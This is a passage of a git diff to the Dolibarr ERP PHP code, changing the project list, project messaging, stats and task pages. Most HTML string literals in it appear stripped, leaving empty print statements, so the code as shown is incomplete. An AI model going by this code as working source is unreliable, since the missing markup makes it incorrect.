      '; } +if (!empty($arrayfields['p.import_key']['checked'])) { + // Import key + print ''; +} if (!empty($arrayfields['p.fk_statut']['checked'])) { - print ''; } // Action column @@ -1119,108 +1247,147 @@ if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { } print ''."\n"; +$totalarray = array(); +$totalarray['nbfield'] = 0; + +// Fields title label +// -------------------------------------------------------------------- print ''; -if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; } if (!empty($arrayfields['p.ref']['checked'])) { print_liste_field_titre($arrayfields['p.ref']['label'], $_SERVER["PHP_SELF"], "p.ref", "", $param, "", $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.title']['checked'])) { print_liste_field_titre($arrayfields['p.title']['label'], $_SERVER["PHP_SELF"], "p.title", "", $param, "", $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['s.nom']['checked'])) { print_liste_field_titre($arrayfields['s.nom']['label'], $_SERVER["PHP_SELF"], "s.nom", "", $param, "", $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['s.name_alias']['checked'])) { print_liste_field_titre($arrayfields['s.name_alias']['label'], $_SERVER["PHP_SELF"], "s.name_alias", "", $param, "", $sortfield, $sortorder); + $totalarray['nbfield']++; } if (!empty($arrayfields['commercial']['checked'])) { print_liste_field_titre($arrayfields['commercial']['label'], $_SERVER["PHP_SELF"], "", "", $param, "", $sortfield, $sortorder, 'tdoverflowmax100imp '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.dateo']['checked'])) { print_liste_field_titre($arrayfields['p.dateo']['label'], $_SERVER["PHP_SELF"], "p.dateo", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.datee']['checked'])) { print_liste_field_titre($arrayfields['p.datee']['label'], $_SERVER["PHP_SELF"], "p.datee", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.public']['checked'])) { print_liste_field_titre($arrayfields['p.public']['label'], $_SERVER["PHP_SELF"], "p.public", "", $param, "", $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } if (!empty($arrayfields['c.assigned']['checked'])) { print_liste_field_titre($arrayfields['c.assigned']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'center ', ''); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.fk_opp_status']['checked'])) { print_liste_field_titre($arrayfields['p.fk_opp_status']['label'], $_SERVER["PHP_SELF"], 'p.fk_opp_status', "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.opp_amount']['checked'])) { print_liste_field_titre($arrayfields['p.opp_amount']['label'], $_SERVER["PHP_SELF"], 'p.opp_amount', "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.opp_percent']['checked'])) { print_liste_field_titre($arrayfields['p.opp_percent']['label'], $_SERVER['PHP_SELF'], 'p.opp_percent', "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['opp_weighted_amount']['checked'])) { print_liste_field_titre($arrayfields['opp_weighted_amount']['label'], $_SERVER['PHP_SELF'], 'opp_weighted_amount', '', $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.budget_amount']['checked'])) { print_liste_field_titre($arrayfields['p.budget_amount']['label'], $_SERVER["PHP_SELF"], 'p.budget_amount', "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.usage_opportunity']['checked'])) { print_liste_field_titre($arrayfields['p.usage_opportunity']['label'], $_SERVER["PHP_SELF"], 'p.usage_opportunity', "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.usage_task']['checked'])) { print_liste_field_titre($arrayfields['p.usage_task']['label'], $_SERVER["PHP_SELF"], 'p.usage_task', "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.usage_bill_time']['checked'])) { print_liste_field_titre($arrayfields['p.usage_bill_time']['label'], $_SERVER["PHP_SELF"], 'p.usage_bill_time', "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.usage_organize_event']['checked'])) { print_liste_field_titre($arrayfields['p.usage_organize_event']['label'], $_SERVER["PHP_SELF"], 'p.usage_organize_event', "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.accept_conference_suggestions']['checked'])) { print_liste_field_titre($arrayfields['p.accept_conference_suggestions']['label'], $_SERVER["PHP_SELF"], 'p.accept_conference_suggestions', "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.accept_booth_suggestions']['checked'])) { print_liste_field_titre($arrayfields['p.accept_booth_suggestions']['label'], $_SERVER["PHP_SELF"], 'p.accept_booth_suggestions', "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.price_registration']['checked'])) { print_liste_field_titre($arrayfields['p.price_registration']['label'], $_SERVER["PHP_SELF"], 'p.price_registration', "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.price_booth']['checked'])) { print_liste_field_titre($arrayfields['p.price_booth']['label'], $_SERVER["PHP_SELF"], 'p.price_booth', "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; } if (!empty($arrayfields['u.login']['checked'])) { print_liste_field_titre($arrayfields['u.login']['label'], $_SERVER["PHP_SELF"], 'u.login', '', $param, 'align="center"', $sortfield, $sortorder); + $totalarray['nbfield']++; } // Extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; // Hook fields -$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); -$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder, 'totalarray'=>&$totalarray); +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; if (!empty($arrayfields['p.datec']['checked'])) { print_liste_field_titre($arrayfields['p.datec']['label'], $_SERVER["PHP_SELF"], "p.datec", "", $param, '', $sortfield, $sortorder, 'center nowrap '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.tms']['checked'])) { print_liste_field_titre($arrayfields['p.tms']['label'], $_SERVER["PHP_SELF"], "p.tms", "", $param, '', $sortfield, $sortorder, 'center nowrap '); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.email_msgid']['checked'])) { print_liste_field_titre($arrayfields['p.email_msgid']['label'], $_SERVER["PHP_SELF"], "p.email_msgid", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['p.import_key']['checked'])) { + print_liste_field_titre($arrayfields['p.import_key']['label'], $_SERVER["PHP_SELF"], "p.import_key", "", $param, '', $sortfield, $sortorder, ''); + $totalarray['nbfield']++; } if (!empty($arrayfields['p.fk_statut']['checked'])) { - print_liste_field_titre($arrayfields['p.fk_statut']['label'], $_SERVER["PHP_SELF"], "p.fk_statut", "", $param, '', $sortfield, $sortorder, 'right '); + print_liste_field_titre($arrayfields['p.fk_statut']['label'], $_SERVER["PHP_SELF"], "p.fk_statut", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; } -if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +// Action column +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; } -print "\n"; +print ''."\n"; -$userstatic = new User($db); $i = 0; +$savnbfield = $totalarray['nbfield']; $totalarray = array( 'nbfield' => 0, - 'val' => array(), + 'val' => array() ); $imaxinloop = ($limit ? min($num, $limit) : $num); while ($i < $imaxinloop) { @@ -1230,18 +1397,33 @@ while ($i < $imaxinloop) { } $object->id = $obj->id; - $object->user_author_id = $obj->fk_user_creat; - $object->public = $obj->public; $object->ref = $obj->ref; - $object->datee = $db->jdate($obj->date_end); + $object->title = $obj->title; + $object->fk_opp_status = $obj->fk_opp_status; + $object->user_author_id = $obj->fk_user_creat; + $object->date_creation = $db->jdate($obj->date_creation); + $object->date_start = $db->jdate($obj->date_start); + $object->date_end = $db->jdate($obj->date_end); $object->statut = $obj->status; // deprecated $object->status = $obj->status; $object->public = $obj->public; + $object->opp_percent = $obj->opp_percent; $object->opp_status = $obj->fk_opp_status; - $object->title = $obj->title; + $object->opp_status_code = $obj->opp_status_code; + $object->opp_amount = !empty($obj->opp_ammount) ? $obj->opp_ammount : ""; + $object->opp_weighted_amount = $obj->opp_weighted_amount; + $object->budget_amount = $obj->budget_amount; + $object->usage_opportunity = $obj->usage_opportunity; + $object->usage_task = $obj->usage_task; + $object->usage_bill_time = $obj->usage_bill_time; + $object->usage_organize_event = $obj->usage_organize_event; + $object->email_msgid = $obj->email_msgid; + $object->import_key = $obj->import_key; - $userAccess = $object->restrictedProjectArea($user); // why this ? - if ($userAccess >= 0) { + + //$userAccess = $object->restrictedProjectArea($user); // disabled, permission on project must be done by the select + //if ($userAccess >= 0) { + // Thirdparty $companystatic->id = $obj->socid; $companystatic->name = $obj->name; $companystatic->name_alias = $obj->alias; @@ -1254,17 +1436,31 @@ while ($i < $imaxinloop) { $companystatic->town = $obj->town; $companystatic->country_code = $obj->country_code; - print ''; + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + } + } else { + // Show here line of result + $j = 0; + print ''; // Action column - if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print ''; if (!$i) { @@ -1286,7 +1482,7 @@ while ($i < $imaxinloop) { // Title if (!empty($arrayfields['p.title']['checked'])) { print ''; if (!$i) { $totalarray['nbfield']++; @@ -1294,7 +1490,7 @@ while ($i < $imaxinloop) { } // Company if (!empty($arrayfields['s.nom']['checked'])) { - print ''; if (!$i) { @@ -1496,7 +1696,11 @@ while ($i < $imaxinloop) { print ''; if (!$i) { @@ -1632,8 +1836,8 @@ while ($i < $imaxinloop) { // Extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters); // Note that $action and $object may have been modified by hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Date creation if (!empty($arrayfields['p.datec']['checked'])) { @@ -1660,6 +1864,13 @@ while ($i < $imaxinloop) { print ''; if (!$i) $totalarray['nbfield']++; } + // Import key + if (!empty($arrayfields['p.import_key']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } // Status if (!empty($arrayfields['p.fk_statut']['checked'])) { print ''; @@ -1668,14 +1879,14 @@ while ($i < $imaxinloop) { } } // Action column - if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print ''; if (!$i) { @@ -1683,8 +1894,9 @@ while ($i < $imaxinloop) { } } - print "\n"; + print ''."\n"; } + //} $i++; } @@ -1709,10 +1921,10 @@ $parameters = array('arrayfields'=>$arrayfields, 'sql' => $sql); $reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; -print "
      '.$langs->trans("Description").''; -print nl2br($object->description); +print dol_htmlentitiesbr($object->description); print '
      '.$i.''; - if ($key == 'intervention' && !$qualifiedforfinalprofit) { + if ($key == 'intervention' && !$margin) { print ''.$form->textwithpicto($langs->trans("NA"), $langs->trans("AmountOfInteventionNotIncludedByDefault")).''; } else { - print price($total_ht); if ($key == 'propal') { print ''.$form->textwithpicto('', $langs->trans("SignedOnly")).''; } + print price($total_ht); } print ''; - if ($key == 'intervention' && !$qualifiedforfinalprofit) { + if ($key == 'intervention' && !$margin) { print ''.$form->textwithpicto($langs->trans("NA"), $langs->trans("AmountOfInteventionNotIncludedByDefault")).''; } else { - print price($total_ttc); if ($key == 'propal') { print ''.$form->textwithpicto('', $langs->trans("SignedOnly")).''; } + print price($total_ttc); } print '
      '.$langs->trans("Budget").''; - if (strcmp($object->budget_amount, '')) { + if (!is_null($object->budget_amount) && strcmp($object->budget_amount, '')) { print price($object->budget_amount, '', $langs, 1, 0, 0, $conf->currency); } print '
      '; print ''; + print ''; + print ''; + print ''; $arrayofstatus = array(); foreach ($object->statuts_short as $key => $val) { $arrayofstatus[$key] = $langs->trans($val); } $arrayofstatus['99'] = $langs->trans("NotClosed").' ('.$langs->trans('Draft').' + '.$langs->trans('Opened').')'; - print $form->selectarray('search_status', $arrayofstatus, $search_status, 1, 0, 0, '', 0, 0, 0, '', 'minwidth75imp maxwidth125 selectarrowonleft'); - print ajax_combobox('search_status'); + print $form->selectarray('search_status', $arrayofstatus, $search_status, 1, 0, 0, '', 0, 0, 0, '', 'search_status width100 onrightofpage', 1); print '
      '; + print '
      '; + } + print $object->getKanbanView(''); + + if ($i == ($imaxinloop - 1)) { + print '
      '; + print '
      '; if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined $selected = 0; - if (in_array($obj->id, $arrayofselected)) { + if (in_array($object->id, $arrayofselected)) { $selected = 1; } - print ''; + print ''; } print ''; - print $obj->title; + print dol_escape_htmltag($obj->title); print ''; + print ''; if ($obj->socid) { print $companystatic->getNomUrl(1, '', 0, 0, -1, empty($arrayfields['s.name_alias']['checked']) ? 0 : 1); } else { @@ -1320,7 +1516,7 @@ while ($i < $imaxinloop) { } // Sales Representatives if (!empty($arrayfields['commercial']['checked'])) { - print ''; + print ''; if ($obj->socid) { $companystatic->id = $obj->socid; $companystatic->name = $obj->name; @@ -1452,7 +1648,11 @@ while ($i < $imaxinloop) { //if ($obj->opp_status_code) if (strcmp($obj->opp_amount, '')) { print ''.price($obj->opp_amount, 1, $langs, 1, -1, -1, '').''; - $totalarray['val']['p.opp_amount'] += $obj->opp_amount; + if (!isset($totalarray['val']['p.opp_amount'])) { + $totalarray['val']['p.opp_amount'] = $obj->opp_amount; + } else { + $totalarray['val']['p.opp_amount'] += $obj->opp_amount; + } } print ''; if ($obj->budget_amount != '') { print ''.price($obj->budget_amount, 1, $langs, 1, -1, -1).''; - $totalarray['val']['p.budget_amount'] += $obj->budget_amount; + if (!isset($totalarray['val']['p.budget_amount'])) { + $totalarray['val']['p.budget_amount'] = $obj->budget_amount; + } else { + $totalarray['val']['p.budget_amount'] += $obj->budget_amount; + } } print ''.dol_escape_htmltag($obj->import_key).''.$object->getLibStatut(5).''; if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined $selected = 0; - if (in_array($obj->id, $arrayofselected)) { + if (in_array($object->id, $arrayofselected)) { $selected = 1; } - print ''; + print ''; } print '
      \n"; -print '
      '; +print ''."\n"; +print '
      '."\n"; -print "\n"; +print ''."\n"; // End of page llxFooter(); diff --git a/htdocs/projet/messaging.php b/htdocs/projet/messaging.php index 7fe5b4a0b9d..845efbfb5e9 100644 --- a/htdocs/projet/messaging.php +++ b/htdocs/projet/messaging.php @@ -59,8 +59,9 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); $hookmanager->initHooks(array('projectcardinfo')); @@ -196,7 +197,7 @@ if (!empty($object->id)) { // Show link to add event if (isModEnabled('agenda')) { - $addActionBtnRight = !empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create); + $addActionBtnRight = !empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create'); $morehtmlcenter .= dolGetButtonTitle($langs->trans('AddAction'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/comm/action/card.php?action=create'.$out.'&socid='.$object->socid.'&backtopage='.urlencode($_SERVER["PHP_SELF"].'?id='.$object->id), '', $addActionBtnRight); } @@ -213,6 +214,8 @@ if (!empty($object->id)) { // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; + show_actions_messaging($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder); } diff --git a/htdocs/projet/stats/index.php b/htdocs/projet/stats/index.php index 32498121045..a0b076197b8 100644 --- a/htdocs/projet/stats/index.php +++ b/htdocs/projet/stats/index.php @@ -329,7 +329,7 @@ print $stringtoshow; print ''; -print '
      '; +print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/projet/tasks.php b/htdocs/projet/tasks.php index 951406b4275..f0f98e3df6c 100644 --- a/htdocs/projet/tasks.php +++ b/htdocs/projet/tasks.php @@ -124,12 +124,12 @@ $search_array_options = $extrafields->getOptionalsFromPost($taskstatic->table_el // Default sort order (if not yet defined by previous GETPOST) -if (!$sortfield) { +/* if (!$sortfield) { reset($object->fields); $sortfield="t.".key($object->fields); } // Set here default search field. By default 1st field in definition. Reset is required to avoid key() to return null. if (!$sortorder) { $sortorder = "ASC"; -} +} */ // Security check @@ -183,6 +183,14 @@ $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; * Actions */ +if (GETPOST('cancel', 'alpha')) { + $action = 'list'; + $massaction = ''; +} +if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massaction != 'confirm_presend') { + $massaction = ''; +} + $parameters = array('id'=>$id); $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { @@ -336,6 +344,7 @@ if ($action == 'createtask' && $user->rights->projet->creer) { $task = new Task($db); $task->fk_project = $projectid; + $task->entity = $object->entity; // Task have the same entity of project $task->ref = $taskref; $task->label = $label; $task->description = $description; @@ -357,7 +366,7 @@ if ($action == 'createtask' && $user->rights->projet->creer) { } else { if ($db->lasterrno() == 'DB_ERROR_RECORD_ALREADY_EXISTS') { $langs->load("projects"); - setEventMessages($langs->trans('NewTaskRefSuggested'), '', 'warnings'); + setEventMessages($langs->trans('NewTaskRefSuggested'), null, 'warnings'); $duplicate_code_error = true; } else { setEventMessages($task->error, $task->errors, 'errors'); @@ -413,6 +422,7 @@ $help_url = "EN:Module_Projects|FR:Module_Projets|ES:Módulo_Proyectos"; llxHeader("", $title, $help_url); +$arrayofselected = is_array($toselect) ? $toselect : array(); if ($id > 0 || !empty($ref)) { $result = $object->fetch($id, $ref); @@ -544,6 +554,18 @@ if ($id > 0 || !empty($ref)) { // Add $param from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; + $arrayofmassactions = array(); + if ($user->rights->projet->creer) { + $arrayofmassactions['preclonetasks'] = img_picto('', 'rightarrow', 'class="pictofixedwidth"').$langs->trans("Clone"); + } + if ($permissiontodelete) { + $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); + } + if (in_array($massaction, array('presend', 'predelete'))) { + $arrayofmassactions = array(); + } + $massactionbutton = $form->selectMassAction('', $arrayofmassactions); + // Project card $linkback = ''.$langs->trans("BackToList").''; @@ -616,7 +638,7 @@ if ($id > 0 || !empty($ref)) { // Budget print ''.$langs->trans("Budget").''; - if (strcmp($object->budget_amount, '')) { + if (!is_null($object->budget_amount) && strcmp($object->budget_amount, '')) { print ''.price($object->budget_amount, '', $langs, 1, 0, 0, $conf->currency).''; } print ''; @@ -647,7 +669,7 @@ if ($id > 0 || !empty($ref)) { // Description print ''.$langs->trans("Description").''; - print nl2br($object->description); + print dol_htmlentitiesbr($object->description); print ''; // Categories @@ -676,7 +698,9 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third print load_fiche_titre($langs->trans("NewTask"), '', 'projecttask'); + $projectoktoentertime = 1; if ($object->id > 0 && $object->statut == Project::STATUS_CLOSED) { + $projectoktoentertime = 0; print '
      '; $langs->load("errors"); print $langs->trans("WarningProjectClosed"); @@ -684,6 +708,7 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third } if ($object->id > 0 && $object->statut == Project::STATUS_DRAFT) { + $projectoktoentertime = 0; print '
      '; $langs->load("errors"); print $langs->trans("WarningProjectDraft"); @@ -731,18 +756,23 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third // Project print ''.$langs->trans("ChildOfProjectTask").''; - print img_picto('', 'project'); - $formother->selectProjectTasks(GETPOST('task_parent'), empty($projectid) ? $object->id : $projectid, 'task_parent', 0, 0, 1, 1, 0, '0,1', 'maxwidth500 widthcentpercentminusxx'); + print img_picto('', 'project', 'class="pictofixedwidth"'); + if ($projectoktoentertime) { + $formother->selectProjectTasks(GETPOST('task_parent'), empty($projectid) ? $object->id : $projectid, 'task_parent', 0, 0, 1, 1, 0, '0,1', 'maxwidth500 widthcentpercentminusxx'); + } else { + $formother->selectProjectTasks(GETPOST('task_parent'), empty($projectid) ? $object->id : $projectid, 'task_parent', 0, 0, 1, 1, 0, '', 'maxwidth500 widthcentpercentminusxx'); + } print ''; $contactsofproject = (empty($object->id) ? '' : $object->getListContactId('internal')); // Assigned to print ''.$langs->trans("AffectedTo").''; + print img_picto('', 'user', 'class="pictofixedwidth"'); if (is_array($contactsofproject) && count($contactsofproject)) { print $form->select_dolusers($user->id, 'userid', 0, '', 0, '', $contactsofproject, 0, 0, 0, '', 0, '', 'maxwidth300'); } else { - if ($projectid > 0 || $object->id > 0) { + if ((isset($projectid) && $projectid > 0) || $object->id > 0) { print ''.$langs->trans("NoUserAssignedToTheProject").''; } else { print $form->select_dolusers($user->id, 'userid', 0, '', 0, '', '', 0, 0, 0, '', 0, '', 'maxwidth300'); @@ -752,21 +782,25 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third // Date start task print ''.$langs->trans("DateStart").''; + print img_picto('', 'action', 'class="pictofixedwidth"'); print $form->selectDate((!empty($date_start) ? $date_start : ''), 'dateo', 1, 1, 0, '', 1, 1); print ''; // Date end task print ''.$langs->trans("DateEnd").''; + print img_picto('', 'action', 'class="pictofixedwidth"'); print $form->selectDate((!empty($date_end) ? $date_end : -1), 'datee', -1, 1, 0, '', 1, 1); print ''; // Planned workload print ''.$langs->trans("PlannedWorkload").''; + print img_picto('', 'clock', 'class="pictofixedwidth"'); print $form->select_duration('planned_workload', !empty($planned_workload) ? $planned_workload : 0, 0, 'text'); print ''; // Progress print ''.$langs->trans("ProgressDeclared").''; + print img_picto('', 'fa-percent', 'class="pictofixedwidth"'); print $formother->select_percent($progress, 'progress', 0, 5, 0, 100, 1); print ''; @@ -777,6 +811,7 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third // WYSIWYG editor include_once DOL_DOCUMENT_ROOT.'/core/class/doleditor.class.php'; $cked_enabled = (!empty($conf->global->FCKEDITOR_ENABLE_SOCIETE) ? $conf->global->FCKEDITOR_ENABLE_SOCIETE : 0); + $nbrows = 0; if (!empty($conf->global->MAIN_INPUT_DESC_HEIGHT)) { $nbrows = $conf->global->MAIN_INPUT_DESC_HEIGHT; } @@ -785,8 +820,9 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third print ''; - print ''.$langs->trans("Budget").''; - print ''; + print ''.$langs->trans("Budget").''; + print img_picto('', 'currency', 'class="pictofixedwidth"'); + print ''; print ''; // Other options @@ -842,12 +878,16 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third $linktotasks .= dolGetButtonTitle($langs->trans('ViewGantt'), '', 'fa fa-stream imgforviewmode', DOL_URL_ROOT.'/projet/ganttview.php?id='.$object->id.'&withproject=1', '', 1, array('morecss'=>'reposition marginleftonly')); //print_barre_liste($title, 0, $_SERVER["PHP_SELF"], '', $sortfield, $sortorder, $linktotasks, $num, $totalnboflines, 'generic', 0, '', '', 0, 1); - print load_fiche_titre($title, $linktotasks.'   '.$linktocreatetask, 'projecttask'); + print load_fiche_titre($title, $linktotasks.'   '.$linktocreatetask, 'projecttask', '', '', '', $massactionbutton); + + $objecttmp = new Task($db); + $trackid = 'task'.$taskstatic->id; + include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; // Get list of tasks in tasksarray and taskarrayfiltered // We need all tasks (even not limited to a user because a task to user can have a parent that is not affected to him). $filteronthirdpartyid = $socid; - $tasksarray = $taskstatic->getTasksArray(0, 0, $object->id, $filteronthirdpartyid, 0, '', -1, $morewherefilter, 0, 0, $extrafields, 1, $search_array_options); + $tasksarray = $taskstatic->getTasksArray(0, 0, $object->id, $filteronthirdpartyid, 0, '', -1, $morewherefilter, 0, 0, $extrafields, 1, $search_array_options, 0, 1, $sortfield, $sortorder); // We load also tasks limited to a particular user $tmpuser = new User($db); @@ -855,7 +895,7 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third $tmpuser->fetch($search_user_id); } - $tasksrole = ($tmpuser->id > 0 ? $taskstatic->getUserRolesForProjectsOrTasks(0, $tmpuser, $object->id, 0) : ''); + $tasksrole = ($tmpuser->id > 0 ? $taskstatic->getUserRolesForProjectsOrTasks(null, $tmpuser, $object->id, 0) : ''); //var_dump($tasksarray); //var_dump($tasksrole); @@ -877,6 +917,11 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third print '
      '; } + // Show the massaction checkboxes only when this page is not opend from the Extended POS + if ($massactionbutton && $contextpage != 'poslist') { + $selectedfields = $form->showCheckAddButtons('checkforselect', 1); + } + print '
      '; print ''; @@ -987,6 +1032,8 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; + print ''; + // Action column print ''; // print ''; if (!empty($arrayfields['t.ref']['checked'])) { - print_liste_field_titre($arrayfields['t.ref']['label'], $_SERVER["PHP_SELF"], '', '', $param, '', $sortfield, $sortorder, ''); + print_liste_field_titre($arrayfields['t.ref']['label'], $_SERVER["PHP_SELF"], 't.ref', '', $param, '', $sortfield, $sortorder, ''); } if (!empty($arrayfields['t.label']['checked'])) { - print_liste_field_titre($arrayfields['t.label']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, ''); + print_liste_field_titre($arrayfields['t.label']['label'], $_SERVER["PHP_SELF"], "t.label", '', $param, '', $sortfield, $sortorder, ''); } if (!empty($arrayfields['t.description']['checked'])) { print_liste_field_titre($arrayfields['t.description']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, ''); } if (!empty($arrayfields['t.dateo']['checked'])) { - print_liste_field_titre($arrayfields['t.dateo']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'center '); + print_liste_field_titre($arrayfields['t.dateo']['label'], $_SERVER["PHP_SELF"], "t.dateo", '', $param, '', $sortfield, $sortorder, 'center '); } if (!empty($arrayfields['t.datee']['checked'])) { - print_liste_field_titre($arrayfields['t.datee']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'center '); + print_liste_field_titre($arrayfields['t.datee']['label'], $_SERVER["PHP_SELF"], "t.datee", '', $param, '', $sortfield, $sortorder, 'center '); } if (!empty($arrayfields['t.planned_workload']['checked'])) { - print_liste_field_titre($arrayfields['t.planned_workload']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'right ', '', 1); + print_liste_field_titre($arrayfields['t.planned_workload']['label'], $_SERVER["PHP_SELF"], "t.planned_workload", '', $param, '', $sortfield, $sortorder, 'right ', '', 1); } if (!empty($arrayfields['t.duration_effective']['checked'])) { - print_liste_field_titre($arrayfields['t.duration_effective']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'right ', '', 1); + print_liste_field_titre($arrayfields['t.duration_effective']['label'], 